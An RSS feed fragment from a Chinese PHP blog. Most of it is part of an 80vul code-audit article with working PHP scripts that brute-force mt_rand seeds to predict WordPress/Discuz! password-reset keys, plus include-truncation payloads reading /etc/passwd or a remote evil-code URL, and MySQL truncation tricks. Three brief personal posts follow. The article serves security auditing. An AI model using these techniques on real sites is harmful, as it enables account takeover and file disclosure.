//828682
////////////////
ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."n";
mt_srand ($time);

$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed&lt;=$max;$seed++){
	mt_srand($seed);
	$key = mt_rand();
	if($key==$rand_num) return $seed;
}
return false;
}
?&gt;
-------------------------------------------------------------------------------

    从上面的代码实现了对seed的破解，另外根据Stefan Esser的分析seed还根据进程变化
而变化，换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是
特定的。如下图：

+--------------+
|   seed-A     |
+--------------+
| mt_rand-A-1  |
| mt_rand-A-2  |
| mt_rand-A-3  |
+--------------+

+--------------+
|   seed-B     |
+--------------+
| mt_rand-B-1  |
| mt_rand-B-2  |
| mt_rand-B-3  |
+--------------+

    对于seed-A里mt_rand-1/2/3都是不相等的，但是值都是特定的，也就是说当seed-A等于
seed-B，那么mt_rand-A-1就等于mt_rand-B-1…，这样我们只要能够得到seed就可以得到每次
mt_rand的值了。

    对于5.2.6&gt;php&gt;4.2.0直接使用默认播种的程序也是不安全的（很多的安全人员错误的以
为这样就是安全的），这个要分两种情况来分析：

第一种：'Cross Application Attacks'，这个思路在Stefan Esser文章里有提到，主要是利用
其他程序定义的播种（如mt_srand ((double) microtime()* 1000000)），phpbb+wordpree组
合就存在这样的危险.

第二种：5.2.6&gt;php&gt;4.2.0默认播种的算法也不是很强悍，这是Stefan Esser的文章里的描述：

-------------------------------------------------------------------------------
The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5
&lt;= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only
31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne
Twister was changed and the forced bit removed.
-------------------------------------------------------------------------------

    在32位系统上默认的播种的种子为最大值是2^32，这样我们循环最多2^32次就可以破解
seed。而在PHP 4和PHP 5 &lt;= 5.2.0 的算法有个bug：奇数和偶数的播种是一样的（详见附录
[3]）,测试代码如下：

--code-------------------------------------------------------------------------
&lt;?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."n".$b;
?&gt;
-------------------------------------------------------------------------------

    通过上面的代码发现$a==$b，所以我们循环的次数为2^32/2=2^31次。我们看如下代码：

--code-------------------------------------------------------------------------
&lt;?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0

define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1

$key = wp_generate_password(20, false);
echo $key."n";
$seed = getseed($key);
print $seed."n"; 

mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."n";	

function wp_generate_password($length = 12, $special_chars = true) {
	$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
	if ( $special_chars )
		$chars .= '!@#$%^&amp;*()';

	$password = '';
	for ( $i = 0; $i &lt; $length; $i++ )
		$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
	return $password;
} 

function getseed($resetkey) {
	$max = pow(2,(32-BUGGY));
	for($x=0;$x&lt;=$max;$x++) {
		$seed = BUGGY ? ($x &lt;&lt; 1) + 1 : $x;
		mt_srand($seed);
		$testkey = wp_generate_password(20,false);
		if($testkey==$resetkey) { echo "on"; return $seed; }

		if(!($x % 10000)) echo $x / 10000;
	}
	echo "n";
	return false;
}
?&gt;
-------------------------------------------------------------------------------

    运行结果如下：

-------------------------------------------------------------------------------
php5&gt;php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr
-------------------------------------------------------------------------------

    当10634次时候我们得到了结果。

    当PHP版本到了5.2.1后，通过修改算法修补了奇数和偶数的播种相等的问题，这样也导致
了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如：

--code-------------------------------------------------------------------------
&lt;?php
mt_srand(42);
echo mt_rand();
//php&lt;=5.20 1387371436
//php&gt;5.20 1354439493
?&gt;
-------------------------------------------------------------------------------

    正是这个原因，也要求了我们的exp的运行环境：当目标&gt;5.20时候，我们exp运行的环境也
要是&gt;5.20的版本，反过来也是一样。

    从上面的测试及分析来看，php&lt;5.26不管有没有定义播种，mt_rand处理的数据都是不安
全的。在web应用里很多都使用mt_rand来处理随机的session，比如密码找回功能等等，这样
的后果就是被攻击者恶意利用直接修改密码。

    很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。（在后面我们将
实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞）

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：php4 php5&lt;5.2.6
系统要求：无
审计策略：查找mt_srand/mt_rand
+++++++++++++++++++++++++

5.6 特殊字符

    其实“特殊字符”也没有特定的标准定义，主要是在一些code hacking发挥着特殊重作用
的一类字符。下面就举几个例子：

5.6.1 截断

    其中最有名的数大家都熟悉的null字符截断。

5.6.1.1 include截断

--code-------------------------------------------------------------------------
&lt;?php
include $_GET['action'].".php";
?&gt;
-------------------------------------------------------------------------------

    提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”，但是除了“%00”还有没有
其他的字符可以实现截断使用呢？肯定有人想到了远程包含的url里问号“?”的作用，通过提交
“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”：），好象这个
看上去不是那么舒服那么我们简单写个代码fuzz一下：

--code-------------------------------------------------------------------------
&lt;?php
////////////////////
////var5.php代码:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']);
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i&lt;50000;$i++)
{
	$str=$str."/";

	$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
	//1.txt里的代码为print 'hi';
	if (strpos($resp, 'hi') !== false){
		print $i;
		exit;
	}
}
?&gt;
-------------------------------------------------------------------------------

    经过测试字符“.”、“ /”或者2个字符的组合，在一定的长度时将被截断，win系统和*nix
的系统长度不一样，当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于
256时被截断，对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候
就可以利用上面的技巧包含本地文件了。（此漏洞由cloie#ph4nt0m.org最先发现]）

5.6.1.2 数据截断

    对于很多web应用文件在很多功能是不容许重复数据的，比如用户注册功能等。一般的应
用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据，然
而我们可以通过“数据截断”等来饶过这些判断，数据库在处理时候产生截断导致插入重复数
据。

1) Mysql SQL Column Truncation Vulnerabilities

    这个漏洞又是大牛Stefan Esser发现的（Stefan Esser是我的偶像:)），这个是由于mysql
的sql_mode设置为default的时候，即没有开启STRICT_ALL_TABLES选项时，MySQL对于插入超
长的值只会提示warning，而不是error（如果是error就插入不成功），这样可能会导致一些截
断问题。测试如下：

--code-------------------------------------------------------------------------
mysql&gt; insert into truncated_test(`username`,`password`) values("admin","pass");

mysql&gt; insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql&gt; select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass     |
| 2 | admin      | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------

2) Mysql charset Truncation vulnerability

    这个漏洞是80sec发现的，当mysql进行数据存储处理utf8等数据时对某些字符导致数据
截断。测试如下：

--code-------------------------------------------------------------------------
mysql&gt; insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql&gt; select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass      |
| 2 | admin      | new_pass  |
| 3 | admin      | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------

    很多的web应用程序没有考虑到这些问题，只是在数据存储前简单查询数据是否包含相同
数据，如下代码：

--code-------------------------------------------------------------------------
$result = mysql_query("SELECT * from test_user where user='$user' ");
  ....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
	die("already exist");
}
-------------------------------------------------------------------------------

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：通读代码
+++++++++++++++++++++++++

5.6.1.3 文件操作里的特殊字符

    文件操作里有很多特殊的字符，发挥特别的作用，很多web应用程序没有注意处理这些字
符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视，这个
主要体现在上传文件或者写文件上，导致直接写webshell。另外对于windows系统对“...”
进行系统转跳等等。

    下面还给大家介绍一个非常有意思的问题：

--code-------------------------------------------------------------------------
//Is this code vul?
if( eregi(".php",$url) ){
	die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);
-------------------------------------------------------------------------------

    很多人看出来了上面的代码的问题，程序首先禁止使用“.php”后缀。但是下面居然接了
个str_replace替换$webdb[www_url]为空，那么我们提交“.p$webdb[www_url]hp”就可以饶过
了。那么上面的代码杂fix呢？有人给出了如下代码：

--code-------------------------------------------------------------------------
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
	die("ERR");
}
-------------------------------------------------------------------------------

    str_replace提到前面了，很完美的解决了str_replace代码的安全问题，但是问题不是那
么简单，上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码：

--code-------------------------------------------------------------------------
&lt;?php
for($i=0;$i&lt;255;$i++) {
	$url = '1.ph'.chr($i);
	$tmp = @file_get_contents($url);
	if(!empty($tmp)) echo chr($i)."rn";
}
?&gt;
-------------------------------------------------------------------------------

    我们在windows系统运行上面的代码得到如下字符* &lt; &gt; ? P p都可以打开目录下的1.php。

+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求：无
系统要求：无
审计策略：文读取件操作函数
+++++++++++++++++++++++++

六、怎么进一步寻找新的字典

    上面我们列举很多的字典，但是很多都是已经公开过的漏洞或者方式，那么我们怎么进一
步找到新的字典或者利用方式呢？

    * 分析和学习别人发现的漏洞或者exp，总结出漏洞类型及字典。

    * 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式。

    * fuzz php的函数，找到新的有问题的函数（不一定非要溢出的），如上一章的4.6的部分
很多都可以简单的fuzz脚本可以测试出来。

    * 分析php源代码，发现新的漏洞函数“特性”或者漏洞。（在上一节里介绍的那些“漏洞审
计策略”里，都没有php源代码的分析，如果你要进一步找到新的字典，可以在php源代码的基础
上分析下成因，然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。）（我们以后会
陆续公布一些我们对php源代码的分析）

    * 有条件或者机会和开发者学习，找到他们实现某些常用功能的代码的缺陷或者容易忽
视的问题

    * 你有什么要补充的吗？ ：）

七、DEMO

    * DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
    （Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt）

    PHP版本要求:php4 php5&lt;5.2.6
    系统要求: 无
    审计策略:查找mt_srand/mt_rand

    第一步 安装Discuz! 6.1后利用grep查找mt_srand得到：

-------------------------------------------------------------------------------
heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
./include/global.func.php-694-  $GLOBALS['rewritecompatible'] &amp;&amp; $name = rawurlencode($name);
./include/global.func.php-695-  return '&lt;a href="tag-'.$name.'.html"'.stripslashes($extra).'&gt;';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699:  PHP_VERSION &lt; '4.2.0' &amp;&amp; mt_srand((double)microtime() * 1000000);
./include/global.func.php-700-  if($numeric) {
./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702-  } else {
./include/global.func.php-703-          $hash = '';
./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &amp;$postlist) {
./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40-       if($attach['attachimg']) {
-------------------------------------------------------------------------------

    有两个文件用到了mt_srand()，第1是在./include/global.func.php的随机函数random()里：

--code-------------------------------------------------------------------------
 PHP_VERSION &lt; '4.2.0' &amp;&amp; mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------

    判断了版本，如果是PHP_VERSION &gt; '4.2.0'使用php本身默认的播种。从上一章里的分
析我们可以看得出来，使用php本身默认的播种的分程序两种情况：

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似
mt_srand((double)microtime() * 1000000)的播种的话，又很有可能被暴力。在dz这里不需
要Cross Application，因为他本身有文件就定义了，就是上面的第2个文件： 

--code-------------------------------------------------------------------------
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------

    这里我们肯定dz是存在这个漏洞的，文章给出来的exp也就是基于这个的。（具体exp利用
的流程有兴趣的可以自己分析下]）

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义，那么dz就
不存在漏洞，这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义，再次不
利用'Cross Application Attacks'，5.2.6&gt;php&gt;4.2.0 php本身默认播种的算法也不是很强
悍（分析详见上），也是有可以暴力出来，只是速度要慢一点。

八、后话

    本文是80vul的三大马甲：80vul-A，80vul-B，80vul-C集体智慧的结晶，尤其是80vul-B贡
献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者，没有他们的成果也就
没有本文。本文没有写“参考”，因为本文是一个总结性的文挡，有太多的连接需要提供限于篇
幅就没有一一列举，有心的读者可以自行google。另外原本没有打算公布此文，因为里面包含
了太多应用程序的0day，而且有太多的不尊重别人成果的人，老是利用从别人那学到的技术来
炫耀，甚至牟取利益。在这里我们希望你可以在本文里学到些东西，更加希望如果通过本文你
找到了某些应用程序的0day，请低调处理，或者直接提交给官方修补，谢谢大家！！

九、附录

[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] <a title="php's secyrity collection" href="http://www.php-security.org/" target="_blank">http://www.php-security.org/</a>
[3] http://bugs.php.net/bug.php?id=40114

-EOF-</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.fhand.com/blog/archives/57.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>絮絮叨叨，忘却&amp;残念</title>
		<link>http://www.fhand.com/blog/archives/50.html</link>
		<comments>http://www.fhand.com/blog/archives/50.html#comments</comments>
		<pubDate>Tue, 15 Sep 2009 15:30:48 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[心情故事]]></category>
		<category><![CDATA[技术收集]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[yesoff]]></category>
		<category><![CDATA[牢骚]]></category>
		<category><![CDATA[管记]]></category>

		<guid isPermaLink="false">http://www.fhand.com/blog/?p=50</guid>
		<description><![CDATA[花费2个小时搞了一下yesoff的框架设计，对php的感觉又找回来了，娃哈哈，感觉还行，纯记事本操作的，没有ide. 狗屎的开心代码都没人维护了，剩下我一个人独自面对非人的user拆分，居然时间还这么短，这些人们怎么就问题不经过大脑呢，牢骚而已。好在我已经准备了几天了，不至于太被动。 中午又吃管记烤翅，味道不错，但是价格偏高，20+了，嘿嘿。需要控制自己的支出。]]></description>
			<content:encoded><![CDATA[<ul>
<li>花费2个小时搞了一下<a class="wp-caption-dd" title="yesoff, off sale, welcome everybody" href="http://www.yesoff.com" target="_blank">yesoff</a>的框架设计，对php的感觉又找回来了，娃哈哈，感觉还行，纯记事本操作的，没有ide.</li>
<li>狗屎的<a class="wp-caption-dd" title="kaixin.com" href="http://www.kaixin.com" target="_blank">开心</a>代码都没人维护了，剩下我一个人独自面对非人的user拆分，居然时间还这么短，这些人们怎么就问题不经过大脑呢，牢骚而已。好在我已经准备了几天了，不至于太被动。</li>
<li>中午又吃管记烤翅，味道不错，但是价格偏高，20+了，嘿嘿。需要控制自己的支出。</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.fhand.com/blog/archives/50.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>给空间安装代码高亮的功能</title>
		<link>http://www.fhand.com/blog/archives/27.html</link>
		<comments>http://www.fhand.com/blog/archives/27.html#comments</comments>
		<pubDate>Tue, 08 Sep 2009 07:12:28 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[技术收集]]></category>
		<category><![CDATA[Hightlight]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.fhand.com/blog/?p=27</guid>
		<description><![CDATA[test code hightlight function]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;welcome weige, this is a test message!!!&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;当前时间为：&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Ymd'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>效果还不错，暂时就先用这个了。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fhand.com/blog/archives/27.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>行走在周末的边缘上</title>
		<link>http://www.fhand.com/blog/archives/363.html</link>
		<comments>http://www.fhand.com/blog/archives/363.html#comments</comments>
		<pubDate>Thu, 13 Apr 2006 23:44:57 +0000</pubDate>
		<dc:creator>weige</dc:creator>
				<category><![CDATA[杂七杂八]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[reading]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://www.fhand.com/blog/?p=363</guid>
		<description><![CDATA[这个星期，是自从过年之后最“轻松”的一个星期了，终于不用天天忙碌着加班，回到家倒头就想睡觉，连整点吃的想法都没有这一切都变成了过去式，终于开始有点系统的时间审视以前做的所有工作，看点自己喜欢的数据，顺便吸吮一下互联网风云变幻背后的些许感冒的新知识。web2.0和ajax是今年最火薄的关键字之一了吧，javascript使用熟练的人陡然之间身价倍增，可惜我技术不精，小打小闹还凑合，高深的还是有难度，哈哈。 越来越发现apache底下的一堆的开源项目的好使，现在的项目公用lib包有接近一半是apache下面的，log4j(log4php也很好用，用在php项目中节省了不少的时间),httpclient,ant,lucene,tomcat,maven,xml,iBATIS,Jakarta等等，真是方便了不少，想想其实这些东西还是很蛮好玩的，要是没有这么多的开源的东西，自己写程序的时候一一去实现这些个基本的方法，那该多痛苦啊，去年的时候还信誓旦旦的读项目的源代码呢，结果看了几个（Httpclient,struts，lucene）就不了了之了，唉，关键是没时间，其实研究一下的话，估计写个作弊程序应该还是模拟的很好的，哈哈。 余华的《兄弟》的下终于在新浪上有连载了，今天一口气看完，不过瘾，要是有完整版的就好了，呵呵。 中午还是风和日丽呢，晚上从公司出来就感觉风呼呼的吹得人很不爽，北京今年的破天气好像很多啊，没有几天完整的风平浪静。 好多的VC涌入中国啊，要是自己拉几个人打造出一个东西来，然后想法子搞他一笔风投来那该多爽啊，不过要想出一个好点子似乎不是件容易的事情，恩。有时间爱你继续关注一下搜索引擎和几个做的比较好的开源项目（Java的＆PHP的，目前自己最拿手的两个语言了）。]]></description>
			<content:encoded><![CDATA[<p>这个星期，是自从过年之后最“轻松”的一个星期了，终于不用天天忙碌着加班，回到家倒头就想睡觉，连整点吃的想法都没有这一切都变成了过去式，终于开始有点系统的时间审视以前做的所有工作，看点自己喜欢的数据，顺便吸吮一下互联网风云变幻背后的些许感冒的新知识。web2.0和ajax是今年最火薄的关键字之一了吧，javascript使用熟练的人陡然之间身价倍增，可惜我技术不精，小打小闹还凑合，高深的还是有难度，哈哈。<br />
越来越发现apache底下的一堆的开源项目的好使，现在的项目公用lib包有接近一半是apache下面的，log4j(log4php也很好用，用在php项目中节省了不少的时间),httpclient,ant,lucene,tomcat,maven,xml,iBATIS,Jakarta等等，真是方便了不少，想想其实这些东西还是很蛮好玩的，要是没有这么多的开源的东西，自己写程序的时候一一去实现这些个基本的方法，那该多痛苦啊，去年的时候还信誓旦旦的读项目的源代码呢，结果看了几个（Httpclient,struts，lucene）就不了了之了，唉，关键是没时间，其实研究一下的话，估计写个作弊程序应该还是模拟的很好的，哈哈。<br />
余华的《兄弟》的下终于在新浪上有连载了，今天一口气看完，不过瘾，要是有完整版的就好了，呵呵。<br />
中午还是风和日丽呢，晚上从公司出来就感觉风呼呼的吹得人很不爽，北京今年的破天气好像很多啊，没有几天完整的风平浪静。<br />
好多的VC涌入中国啊，要是自己拉几个人打造出一个东西来，然后想法子搞他一笔风投来那该多爽啊，不过要想出一个好点子似乎不是件容易的事情，恩。有时间爱你继续关注一下搜索引擎和几个做的比较好的开源项目（Java的＆PHP的，目前自己最拿手的两个语言了）。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fhand.com/blog/archives/363.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

